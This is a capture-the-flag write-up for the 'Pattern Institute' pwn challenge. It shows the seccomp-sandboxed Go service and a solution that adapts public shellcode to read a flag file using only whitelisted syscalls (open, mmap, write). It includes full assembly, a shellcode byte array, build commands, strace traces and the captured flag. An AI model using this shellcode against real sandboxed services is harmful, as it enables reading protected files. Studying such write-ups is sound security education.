Pattern Institute
- Category: Pwn
- 450 Points
- Solved by the JCTF Team
Description
A *.go
file was attached.
package main
import (
"os"
"fmt"
"syscall"
b64 "encoding/base64"
libseccomp "github.com/seccomp/libseccomp-golang"
)
func whiteList(syscalls []string) {
fmt.Printf("|------------------------------------------|\n")
fmt.Printf("\033[0;33m[!] Sandboxing all syscalls\033[0m\n")
filter, err := libseccomp.NewFilter(libseccomp.ActErrno.SetReturnCode(int16(syscall.EPERM)))
if err != nil {
fmt.Printf("Error creating filter: %s\n", err)
}
for _, element := range syscalls {
fmt.Printf("[+] Whitelisting: %s\n", element /*"*****"*/)
syscallID, err := libseccomp.GetSyscallFromName(element)
if err != nil {
panic(err)
}
filter.AddRule(syscallID, libseccomp.ActAllow)
}
filter.Load()
fmt.Printf("\n|------------------------------------------|\n")
}
func main() {
/* get parameter from command line and decode to base64, then write it to disk */
if len(os.Args) != 2 {
fmt.Printf( "[!] ERROR, argument missing\n\033[1;31mUse 'http://ip:port/?arg=<base64 encoded code>' to run your code inside the sandbox\033[0m\n\n")
return
}
sDec, _ := b64.StdEncoding.DecodeString(os.Args[1])
file, err := os.Create("/tmp/your_code")
if err != nil {
panic(err)
}
_, errW := file.Write(sDec)
if errW != nil {
panic(errW)
}
// Change permissions Linux.
err = os.Chmod("/tmp/your_code", 0777)
if err != nil {
panic(err)
}
file.Close()
//===== S A N D B O X S T A R T S =====
var syscalls = []string{
"mmap", "mprotect", "write", "open", "close", "fstat",
"execve", "arch_prctl", "stat", "futex", "exit_group" }
whiteList(syscalls)
fmt.Printf( "\n[+] Now decoding your code...\n")
fmt.Printf( "[+] Running your code...\n\n\033[1;33mSTDOUT:\n=======\033[0m\n")
err2 := syscall.Exec("/tmp/your_code", nil, nil)
if err2 != nil {
fmt.Printf( "[-] Error encountered while running your code!\n%s\n", err2)
}
fmt.Printf("\n\n\033[1;32m|-------------END OF EXECUTION---------------|\033[0m\n")
// infinite loop
for {
}
}
Solution
We can see that the program accepts our input (a base64 encoded program), writes it to /tmp
and runs it under seccomp restrictions. Since we need to leak the flag, we need to find a way to open a file, read its content and write it to stdout
by only using the whitelisted syscalls: ["mmap", "mprotect", "write", "open", "close", "fstat", "execve", "arch_prctl", "stat", "futex", "exit_group"]
.
We can find a collection of templates to bypass seccomp here. read-with-mmap
seems like exactly what we need:
.globl _start
_start:
// open
movw $0x7374, %r11w /* ts */
push %r11
movq $0x736f682f6374652f, %r11 /* /etc/hos */
push %r11
lea 0(%rsp), %rdi
xor %rsi, %rsi
addb $2, %al
syscall
// mmap
xor %rdi, %rdi
xor %rsi, %rsi
mov $0xffff, %si
xor %rdx, %rdx
add $1, %dl
mov %rax, %r8
xor %r9, %r9
xor %r10, %r10
add $1, %r10b
xor %rax, %rax
mov $9, %al
syscall
// write
xor %rdi, %rdi
inc %dl
mov %rax, %rsi
xor %rdx, %rdx
mov $0xffff, %dx
xor %rax, %rax
inc %al
syscall
// exit
xor %rdi, %rdi
mov $3, %dl
xor %rax, %rax
mov $60, %al
syscall
This snippet just uses open
, mmap
, write
and exit
to leak the contents of /etc/hosts
. All the syscalls are allowed in our case, so we just need to change the target file and compile.
At first we might be tempted to just change the filename from /etc/hosts
to /home/flag.txt
and compile the program:
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ diff read-with-mmap.s solve.s
4c4
< movw $0x7374, %r11w /* ts */
---
> mov $0x7478742e6761, %r11 /* ag.txt */
6c6
< movq $0x736f682f6374652f, %r11 /* /etc/hos */
---
> movq $0x6c662f656d6f682f, %r11 /* /home/fl */
42a43
>
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ f="solve"; ./gen-shellcode.sh solve.s > $f.c; gcc -static $f.c -o $f
However, the build instructions in the repository create the following source code:
#include <stdint.h>
#include <sys/mman.h>
char shellcode[] = "\x49\xbb\x61\x67\x2e\x74\x78\x74\x00\x00\x41\x53\x49\xbb\x2f"
"\x68\x6f\x6d\x65\x2f\x66\x6c\x41\x53\x48\x8d\x3c\x24\x48\x31"
"\xf6\x04\x02\x0f\x05\x48\x31\xff\x48\x31\xf6\x66\xbe\xff\xff"
"\x48\x31\xd2\x80\xc2\x01\x49\x89\xc0\x4d\x31\xc9\x4d\x31\xd2"
"\x41\x80\xc2\x01\x48\x31\xc0\xb0\x09\x0f\x05\x48\x31\xff\xfe"
"\xc2\x48\x89\xc6\x48\x31\xd2\x66\xba\xff\xff\x48\x31\xc0\xfe"
"\xc0\x0f\x05\x48\x31\xff\xb2\x03\x48\x31\xc0\xb0\x3c\x0f\x05";
int main(){
mprotect((void *)((uint64_t)shellcode & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) shellcode)();
return 0;
}
When compiled with GCC, this creates a program which uses extra syscalls such as brk
, as seen when running strace
:
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ strace ./solve
execve("./solve", ["./solve"], 0x7ffe49f0d970 /* 32 vars */) = 0
brk(NULL) = 0xf65000
brk(0xf65d80) = 0xf65d80
arch_prctl(ARCH_SET_FS, 0xf65380) = 0
uname({sysname="Linux", nodename="kali", ...}) = 0
readlink("/proc/self/exe", "/media/sf_CTFs/intent/Pattern_In"..., 4096) = 45
brk(0xf86d80) = 0xf86d80
brk(0xf87000) = 0xf87000
mprotect(0x4a9000, 12288, PROT_READ) = 0
mprotect(0x4ac000, 4096, PROT_READ|PROT_EXEC) = 0
open("/home/flag.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
mmap(NULL, 65535, PROT_READ, MAP_SHARED, -2, 0) = -1 EBADF (Bad file descriptor)
write(0, 0xfffffffffffffff7, 65535) = -1 EFAULT (Bad address)
exit(0) = ?
+++ exited with 0 +++
To get a minimal executable, we should use a tool such as nasm
. This requires us to port the assembly syntax to Intel syntax:
global _start
section .text
_start:
xor rax, rax ; Added since al is used below without initialization
; open
mov r11, 0x7478742e6761 ; ag.txt
push r11
mov r11, 0x6c662f656d6f682f ; /home/fl
push r11
lea rdi, [rsp + 0]
xor rsi, rsi
add al, 2
syscall
; mmap
xor rdi, rdi
xor rsi, rsi
mov si, 0xffff
xor rdx, rdx
add dl, 1
mov r8, rax
xor r9, r9
xor r10, r10
add r10b, 1
xor rax, rax
mov al, 9
syscall
; write
xor rdi, rdi
inc dl
mov rsi, rax
xor rdx, rdx
mov dx, 0xffff
xor rax, rax
inc al
syscall
; exit
xor rdi, rdi
mov dl, 3
xor rax, rax
mov al, 60
syscall
Let's compile:
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ nasm -felf64 solve.asm && ld solve.o -o ./solve
We can check the syscalls with strace
:
┌──(user@kali)-[/media/sf_CTFs/intent/Pattern_Institute]
└─$ strace ./solve
execve("./solve", ["./solve"], 0x7ffc45a3aac0 /* 32 vars */) = 0
open("/home/flag.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
mmap(NULL, 65535, PROT_READ, MAP_SHARED, -2, 0) = -1 EBADF (Bad file descriptor)
write(0, 0xfffffffffffffff7, 65535) = -1 EFAULT (Bad address)
exit(0) = ?
+++ exited with 0 +++
Now we just base64-encode the program and submit it:
successfully wrote to file...
Welcome to Alpine Linux 3.8
Kernel 4.14.55-84.37.amzn2.x86_64 on an x86_64 (ttyS0)
localhost login: root (automatic login)
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
[*] FC IP=172.16.0.50
[*] TAP IP=172.16.0.49
______ _ _ _____ _ _ _ _
| ___ \ | | | | |_ _| | | (_) | | |
| |_/ /_ _| |_| |_ ___ _ __ _ __ | | _ __ ___| |_ _| |_ _ _| |_ ___
| __/ _` | __| __/ _ \ '__| '_ \ | || '_ \/ __| __| | __| | | | __/ _ \
| | | (_| | |_| || __/ | | | | | _| || | | \__ \ |_| | |_| |_| | || __/
\_| \__,_|\__|\__\___|_| |_| |_| \___/_| |_|___/\__|_|\__|\__,_|\__\___|
Welcome dear visitor!
|------------------------------------------|
[!] Sandboxing all syscalls
[+] Whitelisting: mmap
[+] Whitelisting: mprotect
[+] Whitelisting: write
[+] Whitelisting: open
[+] Whitelisting: close
[+] Whitelisting: fstat
[+] Whitelisting: execve
[+] Whitelisting: arch_prctl
[+] Whitelisting: stat
[+] Whitelisting: futex
[+] Whitelisting: exit_group
|------------------------------------------|
[+] Now decoding your code...
[+] Running your code...
STDOUT:
=======
INTENT{pl4y1n6_1n_7h3_54nd_15_d4n63r0u5}
Segmentation fault